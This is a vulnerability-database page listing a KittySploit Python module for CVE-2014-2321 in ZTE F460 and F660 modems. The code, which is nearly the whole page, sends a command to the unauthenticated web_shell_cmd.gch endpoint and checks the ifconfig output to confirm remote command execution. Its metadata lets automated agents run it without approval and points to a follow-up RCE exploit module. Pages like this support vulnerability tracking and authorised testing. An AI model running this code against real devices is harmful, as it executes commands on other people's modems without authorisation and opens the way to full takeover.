Lucene search
+L

ZTE Cable Modem Web Shell Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Remote attackers obtain administrative access on ZTE F460 and F660 modems via sendcmd.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZTE F460 and F660 cable modems allows remote attackers to obtain administrative access via sendcmd requests to."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'ZTE Cable Modem Web Shell Detection',
        'description': 'ZTE F460 and F660 cable modems allows remote attackers to obtain administrative access via sendcmd requests to web_shell_cmd.gch, as demonstrated by using "set TelnetCfg" commands to enable a TELNET service with specified credentials.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2014', 'iot', 'zte', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/zte_cve_2014_2321_rce'],
            },
        },
        'references': [
            'https://yosmelvin.wordpress.com/2017/09/21/f660-modem-hack/',
            'https://jalalsela.com/zxhn-h108n-router-web-shell-secrets/',
            'https://nvd.nist.gov/vuln/detail/CVE-2014-2321',
            'http://www.kb.cert.org/vuls/id/600724',
            'http://www.myxzy.com/post-411.html',
        ],
        'cve': 'CVE-2014-2321',
    }

    def run(self):
        r = self.http_request(method="GET", path='/web_shell_cmd.gch', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        if 'please input shell command' not in body:
            return False
        data = (
            'IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1'
            '&Cmd=%2Fsbin%2Fifconfig&CmdAck='
        )
        g = self.http_request(
            method='POST',
            path='/web_shell_cmd.gch',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        gout = g.text or '' if g else ''
        if 'Link encap' in gout and 'HWaddr' in gout:
            self.set_info(
                severity='critical',
                reason='ZTE web_shell_cmd.gch RCE (CVE-2014-2321)',
                path='/web_shell_cmd.gch',
            )
            return True
        if 'ZTE Corporation' in body or 'please input shell command' in body:
            self.set_info(
                severity='critical',
                reason='ZTE Cable Modem Web Shell exposed',
                path='/web_shell_cmd.gch',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.4High risk
Vulners AI Score7.4
CVSS 210
EPSS0.59259
3